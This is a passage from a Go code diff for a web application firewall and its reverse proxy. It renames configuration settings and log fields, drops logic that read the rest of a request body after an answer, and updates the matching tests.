// refused after a rule file or Core Rule Set match or for a missing or
|
||||
// wrong token, and reports whether the client's refusals in the minute
|
||||
// that ends at now, this one included, are more than limit, which breaks
|
||||
// the refusal limit, and the hit.
|
||||
// that ends at now, this one included, are more than threshold, which
|
||||
// breaks the error burst, and the hit.
|
||||
func (l *Limiter) CountRefusal(
|
||||
client netip.Prefix, now time.Time, limit int64,
|
||||
client netip.Prefix, now time.Time, threshold int64,
|
||||
) (Hit, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
||||
hit := Hit{
|
||||
Kind: KindRefusals,
|
||||
Window: "minute",
|
||||
Limit: limit,
|
||||
Limit: threshold,
|
||||
Count: count,
|
||||
}
|
||||
|
||||
return hit, count > float64(limit)
|
||||
return hit, count > float64(threshold)
|
||||
}
|
||||
|
||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||
|
||||
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||
}
|
||||
|
||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
for range limit {
|
||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||
t.Fatalf(
|
||||
"a refusal within the limit of %d broke the refusal limit",
|
||||
"a refusal within the threshold of %d broke the error burst",
|
||||
limit,
|
||||
)
|
||||
}
|
||||
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
if !over || hit != want {
|
||||
t.Errorf(
|
||||
"one over the limit broke it: %t, with %+v; want %+v",
|
||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||
over,
|
||||
hit,
|
||||
want,
|
||||
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
|
||||
// Half a minute into the next, half of those four still count, 2, and
|
||||
// this one: 3, within the limit.
|
||||
// this one: 3, within the threshold.
|
||||
hit, over = limiter.CountRefusal(
|
||||
client,
|
||||
start.Add(time.Minute+time.Minute/2),
|
||||
|
||||
@@ -62,9 +62,9 @@ type Params struct {
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// BufferLines is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||
BufferLines int
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||
Buffer int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
||||
// id and the structured data have no value.
|
||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||
records: make(chan []byte, params.BufferLines),
|
||||
records: make(chan []byte, params.Buffer),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||
endpoint := listen(t)
|
||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||
endpointParams.RootCAs = roots
|
||||
endpointParams.BufferLines = 3
|
||||
endpointParams.Buffer = 3
|
||||
sender, _, _ := run(t, endpointParams)
|
||||
|
||||
// The sender connects, and its TLS handshake waits for an answer
|
||||
@@ -402,10 +402,10 @@ func (o *output) text() string {
|
||||
// appName.
|
||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||
return remotelog.Params{
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
BufferLines: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
Buffer: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -65,8 +65,8 @@ type AbuseIPDBParams struct {
|
||||
MinScore int64
|
||||
DailyBudget int
|
||||
// CacheTTL is how long a score is used after it was fetched
|
||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
|
||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
|
||||
@@ -60,8 +60,8 @@ type DNSBLParams struct {
|
||||
// host's, as /etc/resolv.conf names it.
|
||||
Resolver netip.AddrPort
|
||||
// CacheTTL is how long a verdict is used after it was fetched
|
||||
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
|
||||
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
|
||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
|
||||
@@ -40,11 +40,10 @@ const (
|
||||
// zone and otherZone are the DNSBL zones the tests name.
|
||||
zone = "dnsbl.example"
|
||||
otherZone = "other.example"
|
||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
||||
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
||||
// it is the DNSBL's own timeout that ends a query, whatever that file
|
||||
// says.
|
||||
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
|
||||
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||
// can have Go's resolver wait for one server, so that it is the
|
||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||
cacheTTL = 24 * time.Hour
|
||||
timeout = time.Second
|
||||
// listed and unlisted are clients zone is asked about by the names
|
||||
|
||||
@@ -44,14 +44,13 @@ const (
|
||||
ActionBlockedByBlockRule = "blocked_by_block_rule"
|
||||
|
||||
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
|
||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
|
||||
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
|
||||
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
|
||||
|
||||
// ActionClientDenied is a request refused because its client is in
|
||||
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
|
||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
||||
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
|
||||
// SWW_WAF_TAG_DENY.
|
||||
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
|
||||
ActionClientDenied = "client_denied"
|
||||
|
||||
// ActionCountryDenied is a request refused because its client's country
|
||||
@@ -63,12 +62,12 @@ const (
|
||||
)
|
||||
|
||||
// OffenceLimit is the offence a request line names for a request that
|
||||
// broke a rate limit or the refusal limit, or whose bytes broke a byte
|
||||
// broke a rate limit or the error burst, or whose bytes broke a byte
|
||||
// limit.
|
||||
const OffenceLimit = "limit"
|
||||
|
||||
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
|
||||
// that broke the refusal limit.
|
||||
// that broke the error burst.
|
||||
const LimitHitMinuteRefusals = "minute_refusals"
|
||||
|
||||
// The waf_line a request line names, which says which of
|
||||
@@ -181,7 +180,7 @@ type Line struct {
|
||||
// LimitHit is the window whose limit the request went over, named as
|
||||
// Counts names its count: minute, hour or day for a rate limit, and
|
||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
||||
// LimitHitMinuteRefusals for the refusal limit.
|
||||
// LimitHitMinuteRefusals for the error burst.
|
||||
LimitHit string `json:"limit_hit,omitempty"`
|
||||
// Reputation are the URLs of the blocklists that list the client, then
|
||||
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
||||
@@ -234,11 +233,10 @@ type RProxyLine struct {
|
||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||
// Disposition is the valid disposition waf answered or, while
|
||||
// WAFBackendNoAnswer is true, the value of
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
||||
// gave one.
|
||||
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
|
||||
// when neither gave one.
|
||||
Disposition string `json:"disposition,omitempty"`
|
||||
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
|
||||
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
||||
}
|
||||
|
||||
// Write writes line to w as one JSON line marked "type":"request".
|
||||
|
||||
@@ -26,10 +26,6 @@ import (
|
||||
// post is the start of a POST whose headers end with what follows it.
|
||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||
|
||||
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||
// body, the 64 KiB rproxy reads before it asks waf.
|
||||
const limitPastFirstPart = "128K"
|
||||
|
||||
// announcedLength is the header that announces a body of size bytes, and the
|
||||
// end of the headers.
|
||||
func announcedLength(size int) string {
|
||||
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
size, asked int
|
||||
}{
|
||||
{"with the limit within the first part", "1K", 1025, 1024},
|
||||
{
|
||||
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||
questionBodyMaxBytes,
|
||||
},
|
||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -143,134 +136,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
waf http.HandlerFunc
|
||||
rest int
|
||||
status int
|
||||
}{
|
||||
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||
// connection's buffers. Otherwise the visitor is still sending when the
|
||||
// connection closes, and gets a reset.
|
||||
{
|
||||
"with more than 256 KiB left", allow, 272 << 10,
|
||||
http.StatusRequestEntityTooLarge,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, tc.waf)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
res, err := http.ReadResponse(reader, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer: %v", err)
|
||||
}
|
||||
|
||||
_, _ = io.Copy(io.Discard, res.Body)
|
||||
_ = res.Body.Close()
|
||||
|
||||
if res.StatusCode != tc.status {
|
||||
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||
}
|
||||
|
||||
// The rest goes in small parts, so that a reset fails a later one.
|
||||
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||
send(t, conn, strings.Repeat("x", 1<<10))
|
||||
}
|
||||
|
||||
got, err := io.ReadAll(reader)
|
||||
if err != nil || len(got) != 0 {
|
||||
t.Errorf(
|
||||
"after the answer, read %q and %v, want the end",
|
||||
got,
|
||||
err,
|
||||
)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionClose)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
})
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||
text, err := io.ReadAll(conn)
|
||||
if err != nil || len(text) != 0 {
|
||||
t.Errorf(
|
||||
"read %q (%v), want the connection closed without an answer",
|
||||
text,
|
||||
err,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
// The flush has the app's server send greeting in chunks instead of adding a
|
||||
// Content-Length.
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.EnableFullDuplex()
|
||||
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
_ = rc.Flush()
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
}
|
||||
|
||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -283,7 +148,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
mayReachApp bool
|
||||
}{
|
||||
{"within the first part", "1K", 2 << 10, false},
|
||||
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||
{"past the first part", "128K", 129 << 10, true},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want status 405 and no disposition", line)
|
||||
}
|
||||
|
||||
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(http.StatusBadRequest) ||
|
||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want status 400 and no disposition", line)
|
||||
}
|
||||
|
||||
|
||||
+10
-40
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
|
||||
// and the visitor then gets a closed connection and no answer.
|
||||
const minSendTime = 10 * time.Second
|
||||
|
||||
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||
// reads once the handler returns, for a visitor without Connection: close.
|
||||
const maxBodyReadAfterAnswer = 256 << 10
|
||||
|
||||
// errResponseTooLate refuses an app's answer that arrives once
|
||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||
var errResponseTooLate = errors.New(
|
||||
@@ -65,13 +61,12 @@ type request struct {
|
||||
start time.Time
|
||||
|
||||
// disposition is what is done with the request: waf's valid disposition,
|
||||
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
||||
// gave one.
|
||||
// or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||
disposition string
|
||||
// answered is true when waf gave disposition, which makes a report due,
|
||||
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
|
||||
answered bool
|
||||
wafNoAnswer bool
|
||||
// and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
|
||||
answered bool
|
||||
byDefault bool
|
||||
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||
// app.
|
||||
asn, country string
|
||||
@@ -343,8 +338,8 @@ func (rq *request) answer(status int) {
|
||||
}
|
||||
|
||||
// A visitor found too slow is read no more; any other may go on sending until
|
||||
// its time is up, so that the rest of the body is read and the request ends
|
||||
// cleanly: by Go's server, or by readRestOfBody.
|
||||
// its time is up, so that Go's server can read the rest of the body and end
|
||||
// the request cleanly.
|
||||
deadline := rq.requestDeadline()
|
||||
if status == http.StatusRequestTimeout {
|
||||
deadline = time.Now()
|
||||
@@ -455,7 +450,7 @@ func (rq *request) finish(ctx context.Context) {
|
||||
),
|
||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||
Disposition: rq.disposition,
|
||||
WAFBackendNoAnswer: rq.wafNoAnswer,
|
||||
DefaultDisposition: rq.byDefault,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
@@ -528,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
||||
_ = rq.rc.SetReadDeadline(deadline)
|
||||
}
|
||||
|
||||
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||
// has been answered with a Content-Length, until the read deadline already set on
|
||||
// the connection. It does this only for a body with a declared length from a
|
||||
// visitor that sent Connection: close, because Go's server reads none of that
|
||||
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||
// the handler returns, so reading first would hold back the end of that answer.
|
||||
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||
// the connection.
|
||||
func (rq *request) readRestOfBody() {
|
||||
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||
rq.out.Header().Get("Content-Length") == "" ||
|
||||
rq.out.status == http.StatusSwitchingProtocols {
|
||||
return
|
||||
}
|
||||
|
||||
rest := http.MaxBytesReader(
|
||||
rq.out.ResponseWriter,
|
||||
rq.in.Body,
|
||||
maxBodyReadAfterAnswer,
|
||||
)
|
||||
_, _ = io.Copy(io.Discard, rest)
|
||||
}
|
||||
|
||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||
// at all if another read of it is still waiting.
|
||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||
// server reads it once the handler returns, but with no deadline at all if
|
||||
// another read of it is still waiting.
|
||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||
if rq.body == nil || rq.body.received.Load() {
|
||||
return
|
||||
|
||||
@@ -1,10 +1,9 @@
|
||||
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||
// about each request. It passes a request waf allows to the app and the
|
||||
// app's answer back, within the size and time limits. Any other answer from
|
||||
// waf goes to the visitor as waf gave it.
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
|
||||
// be connected to, does not answer at all, or does not answer within
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||
// waf goes to the visitor as waf gave it. SWW_RPROXY_DEFAULT_DISPOSITION
|
||||
// decides only when waf cannot be connected to, does not answer at all, or
|
||||
// does not answer within SWW_RPROXY_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
||||
// SPEC.md says what it does.
|
||||
@@ -109,8 +108,8 @@ func New(params Params) *Server {
|
||||
}
|
||||
|
||||
// WaitForReports returns once the reports being sent have gone or failed,
|
||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
||||
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
||||
// which SWW_RPROXY_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
||||
// a WebSocket that closes while rproxy stops, for one.
|
||||
func (s *Server) WaitForReports() {
|
||||
s.h.reportsMu.Lock()
|
||||
s.h.reportsStopped = true
|
||||
@@ -170,7 +169,6 @@ func newWAFTransport() *http.Transport {
|
||||
// it writes the request's log line and sends its report.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
rq := h.newRequest(w, r)
|
||||
defer rq.readRestOfBody()
|
||||
defer rq.finish(r.Context())
|
||||
|
||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||
@@ -219,8 +217,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||
// such a request gets here only when
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
|
||||
// such a request gets here only when SWW_RPROXY_DEFAULT_DISPOSITION allowed it.
|
||||
// ctx is the request's own context.
|
||||
func (rq *request) passToApp(ctx context.Context) {
|
||||
maxBytes := rq.h.config.MaxRequestSize
|
||||
|
||||
@@ -44,13 +44,13 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
timeoutSetting = "SWW_RPROXY_TIMEOUT_MS"
|
||||
defaultDisposition = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
)
|
||||
|
||||
// The headers the tests set and look at.
|
||||
@@ -774,7 +774,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want waf's deny", line)
|
||||
}
|
||||
}
|
||||
@@ -956,8 +956,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
||||
}
|
||||
}
|
||||
|
||||
// noAnswers are the ways waf can leave the decision to
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
||||
// noAnswers are the ways waf can leave the decision to the default.
|
||||
func noAnswers() map[string]func(t *testing.T) string {
|
||||
return map[string]func(t *testing.T) string{
|
||||
"no connection": func(*testing.T) string { return nowhere },
|
||||
@@ -1009,8 +1008,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1033,7 +1031,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
noAnswerSetting: setting,
|
||||
defaultDisposition: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1049,9 +1047,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(tc.status) ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf(
|
||||
"line %v, want status %d and no waf_backend_no_answer",
|
||||
"line %v, want status %d and no default",
|
||||
line,
|
||||
tc.status,
|
||||
)
|
||||
@@ -1111,7 +1109,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
_, _ = w.Write(make([]byte, size))
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -1204,8 +1202,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
subtest := name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
@@ -1216,8 +1213,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: setting,
|
||||
timeoutSetting: "60000",
|
||||
defaultDisposition: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1227,7 +1224,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(http.StatusBadGateway) ||
|
||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf(
|
||||
"line %v, want status 502 and no disposition",
|
||||
line,
|
||||
@@ -1245,7 +1242,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
|
||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||
@@ -1256,9 +1253,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
standIn.wantNoReport(t)
|
||||
}
|
||||
|
||||
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for name, backend := range noAnswers() {
|
||||
@@ -1271,7 +1266,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
},
|
||||
)
|
||||
|
||||
